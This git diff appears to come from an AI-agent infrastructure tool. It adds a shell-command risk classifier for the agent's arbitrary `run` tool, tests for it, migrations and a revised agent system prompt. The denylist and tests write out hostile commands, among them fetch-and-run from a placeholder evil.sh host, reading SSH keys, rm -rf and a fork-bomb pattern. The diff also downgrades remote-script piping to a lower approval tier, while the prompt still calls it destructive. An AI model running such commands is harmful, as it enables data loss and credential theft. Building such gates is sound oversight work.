tags = EXCLUDED.tags, updated_at = now()`,
docID, title, content, tags)
if err != nil {
return textResult(fmt.Sprintf("error writing knowledge: %v", err)), nil
}
// Link it to the entity it's about, if given and not already linked.
linked := ""
if about = strings.TrimSpace(about); about != "" {
var targetID uuid.UUID
if qerr := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", about).Scan(&targetID); qerr == nil {
pool.Exec(ctx, `
INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
SELECT $1, $2, 'documents', '{"by":"nomos"}'::jsonb, now()
WHERE NOT EXISTS (
SELECT 1 FROM relationships
WHERE source_id = $1 AND target_id = $2 AND type = 'documents' AND valid_to IS NULL)`,
docID, targetID)
linked = " and linked to " + about
} else {
linked = fmt.Sprintf(" (note: entity %q not found, saved unlinked)", about)
}
}
_ = observability.Event(ctx, sqlcgen.New(pool), "knowledge.upserted", &docID, "info", "mcp", "",
map[string]any{"slug": slug, "title": title, "kind": kind})
return textResult(fmt.Sprintf("Saved knowledge %q as %s%s. It's now searchable via search_knowledge and will surface in future sessions.", title, slug, linked)), nil
}
func createApproval(ctx context.Context, pool *db.Pool, execID, targetID uuid.UUID, action, params, riskClass string) {
payload := fmt.Sprintf(`{"action":"%s","params":"%s","execution_id":"%s"}`, action, params, execID)
p := map[string]any{"action": action, "params": params, "execution_id": execID.String()}
payload, _ := json.Marshal(p)
// approvals.entity_id is PK + FK to entities(id). Reuse the execution's
// entity (already inserted by request_execution) so the FK is satisfied —
// a fresh UUID here had no matching entities row, so the INSERT silently
@@ -982,7 +1678,7 @@ func createApproval(ctx context.Context, pool *db.Pool, execID, targetID uuid.UU
kind, payload, status, expires_at, created_at)
VALUES ($1, $2, $3, $4, 'execution', $5::jsonb, 'pending',
now() + interval '1 hour', now())`,
execID, targetID, action, riskClass, payload); err != nil {
execID, targetID, action, riskClass, string(payload)); err != nil {
slog.Error("createApproval: insert approval", "error", err, "execution", execID)
return
}

171
internal/policy/command.go Normal file
View File

@@ -0,0 +1,171 @@
package policy
import (
"regexp"
"strings"
)
// Risk class names, in escalation order (index = severity). A command's final
// risk class is the MAX of what the rules compute and what the caller
// declared — classification can only escalate, never de-escalate, mirroring
// the signal classifier's "policy can only lower autonomy, never raise it."
const (
RiskReadOnly = "read_only"
RiskReversibleLow = "reversible_low"
RiskConfigMutation = "config_mutation"
RiskDestructive = "destructive"
)
var riskOrder = map[string]int{
RiskReadOnly: 0,
RiskReversibleLow: 1,
RiskConfigMutation: 2,
RiskDestructive: 3,
}
func riskRank(r string) int {
if n, ok := riskOrder[r]; ok {
return n
}
return riskOrder[RiskConfigMutation] // unknown declared risk: assume the safer-to-gate default
}
// destructivePatterns match commands that must always be treated as
// destructive, regardless of what the caller declares. Irreversible,
// data-loss, or fleet-wide-impact operations. Matched against the raw
// command text, case-insensitive.
var destructivePatterns = []*regexp.Regexp{
regexp.MustCompile(`(?i)\brm\s+.*-[a-zA-Z]*r[a-zA-Z]*f|\brm\s+.*-[a-zA-Z]*f[a-zA-Z]*r`), // rm -rf / rm -fr (any flag order)
regexp.MustCompile(`(?i)\bdd\s+.*of=`),
regexp.MustCompile(`(?i)\bmkfs(\.\w+)?\b`),
regexp.MustCompile(`(?i)\bwipefs\b`),
regexp.MustCompile(`(?i)\bshred\b`),
regexp.MustCompile(`(?i)\bpct\s+destroy\b`),
regexp.MustCompile(`(?i)\bqm\s+destroy\b`),
regexp.MustCompile(`(?i)\bzpool\s+destroy\b`),
regexp.MustCompile(`(?i)\blvremove\b|\bvgremove\b|\bpvremove\b`),
regexp.MustCompile(`(?i)\bdrop\s+(table|database|schema)\b`),
regexp.MustCompile(`(?i)\btruncate\s+table\b`),
regexp.MustCompile(`(?i)>\s*/dev/(sd|nvme|vd|hd)`),
regexp.MustCompile(`(?i)\bshutdown\b|\breboot\b|\bhalt\b|\bpoweroff\b`),
regexp.MustCompile(`(?i)\bformat\b.*\b(disk|partition|volume)\b`),
regexp.MustCompile(`:\(\)\s*\{.*:\|:.*\}\s*;\s*:`), // fork bomb
regexp.MustCompile(`(?i)\bchmod\s+-R\s+000\b|\bchmod\s+000\s+/`),
regexp.MustCompile(`(?i)\biptables\s+-F\b|\bufw\s+disable\b`), // wipes firewall
// secret/credential exfiltration — reading private keys, shadow, or age
// keys is always destructive. (Piping a remote script into a shell via
// curl|sh was previously here too, but that pattern is common for
// legitimate installs — get.docker.com, convenience scripts — and
// demoting it to config_mutation means loose assent can grant it without
// a typed confirmation. The assent window covers the deploy case.)
regexp.MustCompile(`(?i)\bcat\s+.*(id_rsa|id_ed25519|\.pem|shadow|\.age)\b`),
}
// readOnlyLeadPattern matches the leading command word (after env-var
// prefixes and a leading sudo) against a small allowlist of verbs that are
// safe to auto-run unattended: they inspect state and cannot mutate it.
// Compound commands (&&, ;, |, $(), backticks) are excluded from this fast
// path below — only a single simple command can qualify.
var readOnlyLeadPattern = regexp.MustCompile(
`^(cat|less|head|tail|ls|stat|file|du|df|free|uptime|uname|hostname|whoami|id|ip|ss|netstat|ping|` +
`journalctl|dmesg|ps|top|htop|env|printenv|echo|which|whereis|` +
`grep|egrep|fgrep|rg|wc|sort|uniq|cut|tr|tee|` +
`dpkg\s+(-l|-s|--list|--status)\b|apt\s+(list|search|show)\b|` +
`systemctl\s+(status|is-active|is-enabled|is-failed|list-units)|` +
`docker\s+(ps|images|inspect|logs|version|info|stats)|` +
`pct\s+(status|config|list)|qm\s+(status|config|list)|pvesh\s+get|` +
`git\s+(status|log|diff|show|branch|remote)|` +
`curl\s+-.*-I\b|curl\s+.*--head\b)\b`)
// compoundSplitRe splits a command on shell chaining operators (;, &&, ||, |)
// so each segment can be individually classified. A piped or chained command
// where EVERY segment is a recognized read-only inspection verb is safe to
// auto-run — e.g. "systemctl status caddy; journalctl -u caddy -n 5" or
// "docker ps | grep caddy".
var compoundSplitRe = regexp.MustCompile(`\s*(?:&&|\|\||;|\|)\s*`)
// subshellRe matches command substitution ($() or backticks) that can hide
// arbitrary execution. A command using these never qualifies for the read-only
// fast path — the substituted content could do anything.
var subshellRe = regexp.MustCompile("\\$\\(|`")
// compoundOpPattern is retained for compatibility — matches any compound
// operator. (Previously used to block ALL compound commands from the read-only
// path; now the per-segment check is more precise.)
var compoundOpPattern = regexp.MustCompile("[;&|`]|\\$\\(")
// ClassifyCommand scores an arbitrary shell command for the general `run`
// primitive. It combines a rule-based verdict (destructive denylist first,
// then a read-only allowlist for simple inspection commands) with the
// caller's declared risk, and returns the more severe of the two — the
// classifier may only escalate, never de-escalate, so a model that
// under-declares risk (or an adversarial prompt) cannot talk its way past a
// genuinely dangerous command. Anything not matched by either rule defaults
// to config_mutation (escalate), per "when in doubt, escalate."
func ClassifyCommand(command, declaredRisk string) string {
computed := computeCommandRisk(command)
if declaredRisk == "" {
return computed // no declaration to escalate with; computed's own escalate-by-default already applies
}
declared := normalizeRisk(declaredRisk)
if riskRank(declared) > riskRank(computed) {
return declared
}
return computed
}
func normalizeRisk(r string) string {
if _, ok := riskOrder[r]; ok {
return r
}
return RiskConfigMutation
}
func computeCommandRisk(command string) string {
cmd := strings.TrimSpace(command)
if cmd == "" {
return RiskConfigMutation
}
for _, p := range destructivePatterns {
if p.MatchString(cmd) {
return RiskDestructive
}
}
// Subshell substitution ($(), backticks) can hide arbitrary execution —
// never auto-run, even if the visible verbs look read-only.
if !subshellRe.MatchString(cmd) {
if allSegmentsReadOnly(cmd) {
return RiskReadOnly
}
}
// Not obviously destructive, not a recognized read-only inspection —
// default to the gated tier rather than guessing it's safe.
return RiskConfigMutation
}
// allSegmentsReadOnly splits a compound command on chaining operators
// (;, &&, ||, |) and checks whether EVERY segment is a recognized read-only
// inspection verb. If so, the whole command is safe to auto-run. Any segment
// that isn't a recognized read-only verb disqualifies the whole command —
// the classifier errs toward gating, not guessing.
func allSegmentsReadOnly(cmd string) bool {
segments := compoundSplitRe.Split(cmd, -1)
for _, seg := range segments {
seg = strings.TrimSpace(seg)
if seg == "" {
continue
}
// Strip a leading sudo/env assignment so "sudo cat /x" still matches.
probe := seg
probe = regexp.MustCompile(`^sudo\s+`).ReplaceAllString(probe, "")
probe = regexp.MustCompile(`^(\w+=\S+\s+)+`).ReplaceAllString(probe, "")
probe = strings.TrimSpace(probe)
if !readOnlyLeadPattern.MatchString(probe) {
return false
}
}
return len(segments) > 0
}

View File

@@ -0,0 +1,142 @@
package policy
import "testing"
func TestClassifyCommand_ReadOnly(t *testing.T) {
cases := []string{
"cat /etc/hostname",
"systemctl status caddy",
"docker ps",
"docker logs caddy",
"pct status 121",
"pct config 121",
"journalctl -u caddy -n 50",
"df -h",
"git status",
"sudo cat /var/log/syslog",
"ip a",
}
for _, c := range cases {
if got := ClassifyCommand(c, ""); got != RiskReadOnly {
t.Errorf("ClassifyCommand(%q) = %q, want read_only", c, got)
}
}
}
func TestClassifyCommand_Destructive_AlwaysWins(t *testing.T) {
cases := []string{
"rm -rf /",
"rm -fr /opt/data",
"dd if=/dev/zero of=/dev/sda",
"mkfs.ext4 /dev/sdb1",
"wipefs -a /dev/sdb",
"pct destroy 121",
"qm destroy 100",
"zpool destroy tank",
"lvremove /dev/pve/data",
"DROP TABLE entities;",
"drop database oikos",
"echo hi > /dev/sda",
"reboot",
"shutdown -h now",
"cat ~/.ssh/id_ed25519",
"iptables -F",
}
for _, c := range cases {
if got := ClassifyCommand(c, ""); got != RiskDestructive {
t.Errorf("ClassifyCommand(%q) = %q, want destructive", c, got)
}
// Even if the caller/model declares it as safe, destructive must win —
// classification only escalates, never de-escalates.
if got := ClassifyCommand(c, RiskReadOnly); got != RiskDestructive {
t.Errorf("ClassifyCommand(%q, declared=read_only) = %q, want destructive (cannot be de-escalated)", c, got)
}
}
}
func TestClassifyCommand_CurlPipeSh_ConfigMutation(t *testing.T) {
// curl|sh and wget|sh are no longer classified as destructive — they're
// common for legitimate installs (get.docker.com, convenience scripts).
// They're still gated (config_mutation, requires approval), but loose
// assent grants them without a typed confirmation phrase.
cases := []string{
"curl -fsSL https://get.docker.com | sh",
"curl http://evil.sh/x.sh | bash",
"wget -qO- http://evil.sh/x.sh | sudo bash",
}
for _, c := range cases {
if got := ClassifyCommand(c, ""); got != RiskConfigMutation {
t.Errorf("ClassifyCommand(%q) = %q, want config_mutation", c, got)
}
}
}
func TestClassifyCommand_DefaultEscalatesToConfigMutation(t *testing.T) {
cases := []string{
"apt-get install -y nginx",
"systemctl restart caddy",
"pct exec 121 -- bash -c 'echo hi'",
"sed -i 's/foo/bar/' /etc/caddy/Caddyfile",
"git push origin main",
"docker compose up -d",
"some-unknown-tool --do-a-thing",
}
for _, c := range cases {
if got := ClassifyCommand(c, ""); got != RiskConfigMutation {
t.Errorf("ClassifyCommand(%q) = %q, want config_mutation (default escalate)", c, got)
}
}
}
func TestClassifyCommand_CompoundReadOnly(t *testing.T) {
// Compound commands where EVERY segment is a read-only inspection verb
// should be classified as read_only.
cases := []string{
"systemctl status caddy; systemctl is-active caddy",
"docker ps; docker images",
"df -h && free -m",
"cat /etc/hostname; uptime; whoami",
"docker ps | grep caddy",
"systemctl status caddy 2>&1; journalctl -u caddy -n 5 --no-pager",
"sudo systemctl status caddy; sudo journalctl -u caddy -n 5",
}
for _, c := range cases {
if got := ClassifyCommand(c, ""); got != RiskReadOnly {
t.Errorf("ClassifyCommand(%q) = %q, want read_only (all segments are read-only)", c, got)
}
}
}
func TestClassifyCommand_CompoundCommandNeverReadOnly(t *testing.T) {
// A compound with even one non-read-only segment must not be read_only.
cases := []string{
"ls; systemctl restart caddy",
"echo $(rm -rf /tmp)",
"docker ps | xargs docker rm",
"systemctl status caddy; apt-get install -y nginx",
}
for _, c := range cases {
if got := ClassifyCommand(c, ""); got == RiskReadOnly {
t.Errorf("ClassifyCommand(%q) = %q, want a gated tier for a compound command", c, got)
}
}
}
func TestClassifyCommand_DeclaredRiskCanOnlyEscalate(t *testing.T) {
// A benign read-only command with a higher declared risk keeps the
// declared (higher) risk — declaring caution is always honored.
if got := ClassifyCommand("cat /etc/hostname", RiskDestructive); got != RiskDestructive {
t.Errorf("declared destructive on a read-only command should stick, got %q", got)
}
// A config-mutation-by-default command declared as read_only is NOT
// downgraded — computed risk wins when it's higher than declared.
if got := ClassifyCommand("systemctl restart caddy", RiskReadOnly); got != RiskConfigMutation {
t.Errorf("declared read_only must not de-escalate a mutating command, got %q", got)
}
}
func TestClassifyCommand_EmptyCommand(t *testing.T) {
if got := ClassifyCommand("", ""); got != RiskConfigMutation {
t.Errorf("empty command should default to config_mutation (escalate), got %q", got)
}
}

35
internal/safego/safego.go Normal file
View File

@@ -0,0 +1,35 @@
// Package safego provides a goroutine launcher that recovers panics instead
// of letting them crash the whole process.
//
// Go's default behavior for a panic in ANY goroutine — not just the one
// serving an HTTP request, which net/http recovers automatically per
// request — is to take down the entire process. This codebase runs several
// long-lived or unattended background goroutines (the nomos auto-
// continuation worker, resumed chat turns, async execution dispatch, the SSE
// event listener) that do real work — JSON parsing of model/tool output,
// map/slice indexing — with no operator watching. Before this package, a
// single edge case in any of them (a malformed tool result, an unexpected
// nil) would crash nomos or the api process outright, taking down every
// concurrently-running task or request, not just the one that hit it.
package safego
import (
"log/slog"
"runtime/debug"
)
// Go runs fn in a new goroutine. A panic inside fn is recovered and logged
// (with a stack trace) instead of crashing the process. label identifies the
// goroutine in logs — use something a reader can trace back to the call
// site, e.g. "nomos:continuation-worker" or "mcp:executeApprovedViaAPI".
func Go(label string, fn func()) {
go func() {
defer func() {
if r := recover(); r != nil {
slog.Error("panic recovered in background goroutine",
"goroutine", label, "panic", r, "stack", string(debug.Stack()))
}
}()
fn()
}()
}

View File

@@ -0,0 +1,39 @@
package safego
import (
"sync"
"testing"
)
// TestGo_RecoversPanic is the concrete proof for the B1 fix in
// plans/2026-07-11-nomos-agent-code-review.md: a panic inside a goroutine
// launched via Go must not crash the process (or, here, the test binary —
// the same guarantee). Before this package existed, every background
// goroutine in cmd/nomos/internal/mcp/internal/httpapi used a bare `go`
// statement; an unhandled panic in any of them takes down the entire Go
// process, not just that goroutine.
func TestGo_RecoversPanic(t *testing.T) {
var wg sync.WaitGroup
wg.Add(1)
Go("test:deliberate-panic", func() {
defer wg.Done()
panic("this must be recovered, not crash the test binary")
})
// If the panic weren't recovered, the whole test binary would crash
// before ever reaching this line (a Go panic in any goroutine terminates
// the process, full stop) — Wait() returning normally IS the proof.
wg.Wait()
}
// TestGo_RunsFnNormally confirms the non-panic path still just runs fn.
func TestGo_RunsFnNormally(t *testing.T) {
done := make(chan bool, 1)
Go("test:normal", func() {
done <- true
})
if !<-done {
t.Fatal("fn did not run")
}
}

View File

@@ -0,0 +1,25 @@
-- 017_nomos_plan_executions.up.sql
-- Links a gated execution back to the chat session that initiated it, so the
-- Nomos auto-continuation worker can re-invoke the agent for that session when
-- the (asynchronous) execution finishes. This is the "the system is the event
-- loop, not the human" foundation: the human no longer types "continue" after
-- every async step — the worker feeds each execution's result back into the
-- agent automatically.
--
-- Owned by the nomos process. execution_id references the execution entity by
-- UUID but intentionally without a hard FK — nomos records the link from the
-- tool-result text it gets back, and we don't want a race between the API
-- creating the execution entity and nomos linking it to break the insert.
CREATE TABLE IF NOT EXISTS nomos_plan_executions (
execution_id UUID PRIMARY KEY,
session_id UUID NOT NULL,
-- when the worker fed this execution's result back to the agent (NULL = not yet)
continued_at TIMESTAMPTZ,
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
);
-- Worker query: find terminal executions not yet fed back. Partial index on the
-- not-yet-continued rows keeps the poll cheap as history accumulates.
CREATE INDEX IF NOT EXISTS idx_nomos_plan_exec_pending
ON nomos_plan_executions (created_at)
WHERE continued_at IS NULL;

View File

@@ -0,0 +1,53 @@
-- 018_tasks.up.sql
-- Elevate a chat session into a "task": a goal-structured unit of work with a
-- lifecycle status, an outcome, and a one-line summary — the first-class object
-- the task board and the live context panel render. See
-- plans/2026-07-11-goal-oriented-chat-control-panel.md.
--
-- entity_id links the session to its OWN entity (type 'task', registered in
-- seeds/ontology.yaml) so knowledge notes and involved-entity edges hang off
-- the existing relationships graph unchanged — get_relations and
-- get_entity_knowledge just work. Intentionally no hard FK (mirrors 017's
-- decoupling): a race between task-entity creation and the session insert must
-- not be able to break the session.
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS goal TEXT NOT NULL DEFAULT '';
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS status TEXT NOT NULL DEFAULT 'active';
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS outcome TEXT;
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS summary TEXT NOT NULL DEFAULT '';
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS entity_id UUID;
-- Ordered plan steps. A step is a described unit of work that maps to a
-- run/request_execution call (no fixed step enum, per general-gated-execution).
-- execution_id is the gated action a step runs, if any; its terminal status
-- auto-closes the step server-side.
CREATE TABLE IF NOT EXISTS session_plan_steps (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
session_id UUID NOT NULL REFERENCES agent_sessions(id) ON DELETE CASCADE,
seq INT NOT NULL,
title TEXT NOT NULL,
detail TEXT NOT NULL DEFAULT '',
status TEXT NOT NULL DEFAULT 'pending',
-- pending | running | done | failed | skipped | blocked
execution_id UUID,
target_slug TEXT,
started_at TIMESTAMPTZ,
finished_at TIMESTAMPTZ,
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
);
CREATE INDEX IF NOT EXISTS idx_plan_steps_session ON session_plan_steps(session_id, seq);
-- Structured decisions the agent surfaces to the operator mid-task. context
-- carries { entities:[], options:[], why:"" } for the pinned question card.
CREATE TABLE IF NOT EXISTS session_questions (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
session_id UUID NOT NULL REFERENCES agent_sessions(id) ON DELETE CASCADE,
prompt TEXT NOT NULL,
context JSONB NOT NULL DEFAULT '{}',
status TEXT NOT NULL DEFAULT 'open', -- open | answered | dismissed
answer TEXT,
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
answered_at TIMESTAMPTZ
);
CREATE INDEX IF NOT EXISTS idx_questions_session_open
ON session_questions(session_id) WHERE status = 'open';

View File

@@ -0,0 +1,10 @@
-- 019_task_completion_nudges.up.sql
-- See plans/2026-07-11-task-completion-safety-net.md (fix 2+3): a
-- goal-bearing session (set_goal was called, so it's a real structured
-- task, not the trivial-Q&A case handled by the inline safety net) can
-- still stall without ever calling complete_task. completion_nudges tracks
-- how many times the idle sweep has already nudged a stalled session, so it
-- can tell "never nudged" (nudge it) from "nudged once already, still
-- stuck" (auto-close it) rather than nudging forever.
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS completion_nudges INT NOT NULL DEFAULT 0;

View File

@@ -14,34 +14,306 @@ the human-facing wiki. When they disagree, the DB wins.
| Tool | Route |
|---|---|
| Read state | MCP tools (query DB directly) |
| Request action | `request_execution` MCP tool (routes through policy gating) |
| Escalate | Matrix notification to operator |
| Do ANYTHING | `run` MCP tool — arbitrary shell against any host or LXC, gated by risk (see below) |
| Escalate | operator approval in chat (assent or button), or Matrix notification |
| Self-inspect | `get_agent_activity` MCP tool |
You have **no SSH access**. All mutations flow through `/executions`, which
the actuator (a separate container with restricted SSH key) picks up.
You do not hold SSH keys yourself; `run` and the other mutation tools execute
over SSH on your behalf, gated by the classifier described below.
## Your capability is unlimited — not a fixed menu
There is no fixed list of things you're "allowed" to do. If a task needs a
command run somewhere in the fleet — installing a package, editing a config,
tailing a log, restarting something, debugging why a service is down,
deploying a brand-new kind of service nobody has asked for before — use `run`.
Don't say "I can't do that" because it doesn't match one of the named actions
below; those are curated fast-paths for common cases (LXC provisioning, apt
upgrades), not the boundary of what you can attempt. `run` IS the general
capability. The only real limit is the risk gate:
- **read-only** (inspecting state: `cat`, `systemctl status`, `docker ps`,
`journalctl`, `df`, `git status`, ...) → runs immediately, no approval.
- Anything that **changes state** → requires operator approval before it runs.
- Anything matching a **destructive** pattern (`rm -rf`, `dd`, `mkfs`,
`pct/qm destroy`, `DROP TABLE`, `reboot`, piping a remote script into a
shell, reading SSH keys, ...) → always requires approval, and you cannot
declare your way past it — the classifier only ever escalates risk, never
lowers it, no matter what `declared_risk` you pass.
When you're unsure whether something needs approval, don't guess low — the
classifier will catch a genuinely dangerous command regardless, but be honest
about risk in your `purpose` text; the operator is trusting your description
of what a command does.
## Every chat is a task
Each conversation is a **task**: a goal the operator wants achieved, from
"install service X" to "give me the key status of Y". Every non-trivial task
has the SAME first step and the SAME last step — research in, knowledge out —
so the graph never drifts from reality and every task makes the next one
smarter. Make both of these literal entries in the plan you propose, not just
things you do quietly in the background:
1. **FIRST STEP, ALWAYS: gather knowledge, not just the target's current
status.** Before proposing the rest of the plan, build the full picture of
what you're working with:
- `get_entity` / `explain` — what the entity actually is right now.
- `get_entity_knowledge` + `search_knowledge` — has a past task already
solved this, hit this gotcha, or failed trying something? This is how
tasks compound: each one's recorded outcome becomes the next one's prior.
Don't skip it and rediscover a known problem.
- `get_relations` + `get_blast_radius` — what depends on this, what does
this depend on, what breaks if it changes. Never plan a mutation blind to
its neighborhood.
- `http_get` — for anything involving an external service/repo, read its
docs/README before proposing how to deploy or configure it.
This is real plan work, not throat-clearing — make it step 1 in
`propose_plan` (e.g. "Research lxc:caddy — prior knowledge, relations,
blast radius") so the operator sees it happened, not just its results.
2. **Plan, then execute.** With that context in hand, call `propose_plan` ONCE
with the COMPLETE ordered list of every step end-to-end — not one call per
step. The operator watches this list in the context panel; if you call
`propose_plan` again for each step as you go, each call replaces what they
see with just that one step, and the plan looks like it's stuck at "1/1"
forever instead of showing real progress. Get the single approval, then
carry the whole plan out end-to-end, advancing steps with
`update_plan_step` (see the plan/approval sections below). If you hit a
genuine decision only the operator can make — an ambiguous target, a
trade-off, missing information — call `ask_operator` with the options and
the entities involved, then STOP and wait; their answer resumes you. Don't
ask about things you can settle yourself with tools.
3. **LAST STEP, ALWAYS: update the knowledge base before `complete_task`, not
after.** Make this the final step in the plan, and actually do it — this is
what prevents the graph from drifting away from reality:
- `update_entity_attributes` — any concrete fact you discovered about an
entity's real state that the graph didn't have (an IP, a version, a
config value, a discovered port). Future tasks read entities, not your
transcript — if it's not written back, it's lost.
- `create_relationship` — any dependency/edge you discovered that wasn't
already in the graph (hosts, depends-on, provides, ...).
- `upsert_knowledge` — the narrative: what you learned, the fix, the
gotcha, `about` the relevant entity. A failed task is worth recording
too: "tried X on Z, it failed because W" saves the next attempt. A chat
message alone is forgotten; this is the only thing a future task's step 1
can retrieve.
Then `complete_task` with the `outcome` (success/failure/partial) and a
one-line `summary`. A task that just trails off never gets a real outcome,
and one that completes without writing back what changed leaves the next
task to rediscover it from scratch.
A trivial read-only task ("what's the status of Y?") is a degenerate case:
research is just the lookup itself, there's usually nothing new to write back,
and no plan/approval ceremony is needed — answer it and `complete_task` with a
one-line summary. Don't invent attributes/relationships/knowledge that don't
exist just to fill the step. The loop scales down; it doesn't disappear.
## Key MCP tools
- `get_entity`, `list_entities` — resolve slugs to state
- `list_lxcs` — all LXC containers with host, IP, health (use for fleet-wide questions)
- `get_lxc_state` — per-container `pct status` (use only for a specific named container)
- `get_state_snapshot` — fleet health, disk, drift at a glance
- `get_health_summary` — fleet health counts
- `query_metrics` — time-series metrics (prefer over per-entity `get_trend` for fleet-wide)
- `list_entities` — resolve slugs to state (pass `type` filter when possible)
- `get_entity` — single-entity detail
- `get_blast_radius` — understand impact before requesting action
- `get_health_summary` — fleet status at a glance
- `get_signal_history` — open alerts
- `get_trend` — metric trends for decisions
- `request_execution` — the ONLY mutation path
- `get_trend` — metric trends for a specific entity (single-entity only)
- `run`**the general mutation tool. Prefer this for anything not covered by a more
specific tool below.** `target` (host:<slug> or lxc:<slug>), `command` (any shell,
can be multi-line), `purpose` (one sentence — the operator sees exactly this when
deciding). Auto-runs if read-only; otherwise queues for approval. See "Your
capability is unlimited" above.
- `request_execution` — curated fast-paths for common named actions: restart, systemctl
(enable/disable/reload), pct_exec (shell command inside an existing LXC), apt_upgrade
(audit/upgrade), pct_create (provision a new LXC). Use these when they fit; use `run`
for everything else — you do not need a matching named action to act.
- `http_get` — fetch a public web page / GitHub README / raw file and get sanitized text.
You CAN read the internet with this. When asked to deploy a service from a URL or repo,
call `http_get` on the repo README (or `.../raw/main/docker-compose.yml`) to learn its
stack, ports, and install steps BEFORE proposing a plan. Never tell the operator you
cannot access the web — use this tool.
- `search_knowledge` / `get_entity_knowledge` — READ the knowledge base. Check it before
deploying or debugging something — a past session may have already recorded the gotcha.
- `upsert_knowledge` — WRITE back what you learned. This is how the system gets smarter.
**After you solve a non-obvious problem, finish a deployment, or discover a gotcha, record
it** (title, content, `about` the relevant entity slug). A chat message is forgotten; only
`upsert_knowledge` persists it for future sessions. Example: after fixing the Dragonfly
memlock rlimit in an unprivileged LXC, save an `investigation` titled for that exact
symptom with the fix. Don't wait to be asked "what did we learn" — capture it as part of
finishing the work.
- `get_agent_activity` — your own behavior log
### Tool selection rules
- **Fleet-wide questions** (e.g. "which hosts are saturated?", "what needs updating?"):
prefer bulk tools: `list_lxcs`, `get_health_summary`, `get_state_snapshot`,
`query_metrics`. Only fall back to per-entity tools (`get_lxc_state`, `tail_log`,
`get_trend`) for a specific named entity the user asked about.
- **One call > many calls**: each `get_lxc_state` is a live SSH round-trip.
`list_lxcs` answers the same question in one call. Use it.
- When a bulk tool's summary isn't enough for a specific entity, call the
per-entity tool for that one entity — not for every entity in the fleet.
## Policy awareness
Before calling `request_execution`:
- Check risk class via `get_entity` on the target
- `pct_create``config_mutation`: **ATOMIC** — creates and starts a new LXC, nothing
more. Set `target` to the Proxmox HOST slug (e.g. `host:strong`), not the new container
name. `params` is a JSON string: vmid (unused id), hostname, cores, memory (MB), disk_gb,
ip (CIDR), gw, bridge, storage, template (omit to auto-pick newest debian on the host),
privileged, nesting, mounts. **No `services`/`post_install` — those were removed.** Once
approved, the LXC entity is created in the DB with `hosts` relationships and
`state: provisioning`.
- **You install the service yourself, one step at a time, via `run` against the new
`lxc:<hostname>` target — do NOT try to cram everything into pct_create.** This is
deliberate: a single giant install script gave you back one opaque success/fail for a
multi-minute black box, with no way to see (or fix) which specific step broke. Issuing
your own `run` calls — `apt-get update`, `apt-get install -y docker.io`, the install
script, the verify curl — means you see each command's real output and can diagnose and
retry exactly the thing that failed, the same way you'd work at a real shell. You will
be automatically re-invoked with pct_create's result (see "Automatic continuation"
below) — don't poll, don't wait for the operator, just start issuing the install steps
once you see it succeeded.
- **DNS/network right after boot**: a fresh container's network can take a few seconds to
come up. If your first `apt-get update` fails with a DNS/connectivity error, don't
immediately blame the gateway (the pre-flight already validated that) — first retry
after a short wait (`sleep 5`), and if it's still failing, check `/etc/resolv.conf`
inside the container and fall back to a public resolver
(`printf 'nameserver 1.1.1.1\n' > /etc/resolv.conf`) before concluding the network
config itself is wrong.
- **vmid**: omit or set 0 — a free cluster id is assigned automatically. Never reuse an
existing container's id.
- **networking — DHCP is the default, static is the exception**: use `"ip":"dhcp"` unless
the operator specifically needs a fixed address. DHCP is proven reliable and always gets
a real, routable IP. **A static IP is not a formula you can compute from the subnet
alone.** Real incident: TypeType kept failing "no DNS/connectivity" across multiple
retries because each guessed gateway (`192.168.8.1`, then `192.168.8.2`) was on a
different bridge than the container was actually attached to — on `strong`, `vmbr0`
only physically reaches `192.168.178.0/24`; `192.168.8.0/24` needs a different bridge
(see neighbor LXCs) and is segmented into **/28 blocks, each with its own gateway** —
`192.168.8.2` is only the gateway for the `.0.15` block, not the whole `/24`. No amount
of retrying with a different guess fixes this; the bridge/gateway pair has to be copied
from a real, working neighbor, not invented.
- **Before setting a static `ip`/`gw`/`bridge`**: use `list_entities`/`get_entity_knowledge`
to find an existing LXC on the *same host* whose IP falls in the *same* /28 block, and
copy its exact `gw` and `bridge` verbatim. If no such neighbor exists, use DHCP instead
of guessing — a wrong guess still costs a turn even though it now fails in seconds
(see below), and repeated wrong guesses look exactly like the agent being stuck.
- There's a fast pre-flight now: `pct_create` pings the gateway from the host **before**
creating anything, so a bad static config fails in ~2s with a clear
"gateway unreachable, don't guess a different one, find a real neighbor or use DHCP"
message — instead of a multi-minute hang or silent retry loop. If you see that error,
the fix is to find a real neighbor's config or switch to DHCP, not to try a third guess.
- **Docker — CRITICAL**: Debian's `docker.io` package installs the Docker
**daemon** but NOT the `docker` **CLI binary** on Debian 13 (trixie). The
TypeType installer (and any script that calls `docker`) will fail with
"command not found". Do NOT rely on `docker.io` alone. Instead, as separate
observable `run` steps against the new container:
- `apt-get install -y docker.io` (provides the engine + dependencies)
- THEN install Docker CE CLI via
`curl -fsSL https://get.docker.com | sh` (provides the `docker` CLI +
compose plugin) — check its output before continuing.
- THEN the actual install script (e.g. the service's own installer).
- `docker-compose-plugin` is NOT in Debian's repos — always get it from
get.docker.com.
- **verify**: your LAST step should confirm the service actually answers (e.g.
`curl -fsS http://localhost:<port>/`), so a green result means it truly works — only
report success to the operator once you've seen this pass.
- If `destructive` or `config_mutation`: escalate to operator
- If `reversible_low` with validated pattern: auto-act allowed
## Token efficiency
**After requesting a gated action that queues for approval:** continue
working on other steps of the plan that are not blocked. Only stop when all
remaining steps need approval. When the operator approves (via chat assent),
the system grants it automatically and you'll see a `[System: ... approved ...]`
note — continue executing the full plan from there. Do not re-request the same
action; check `get_execution_status` if you need the outcome. One approval per
action is enough.
Use MCP tools over raw queries. MCP responses are already compressed. When
describing state, be concise — the operator reads your output in Matrix.
**When proposing a plan, ALWAYS call `request_execution`/`run` in the same
turn.** Do not propose a plan in text, ask "shall I proceed?", and wait.
Call the tool — if it queues for approval, present what's queued and stop.
The operator's "proceed"/"go ahead" will grant it and open the assent window.
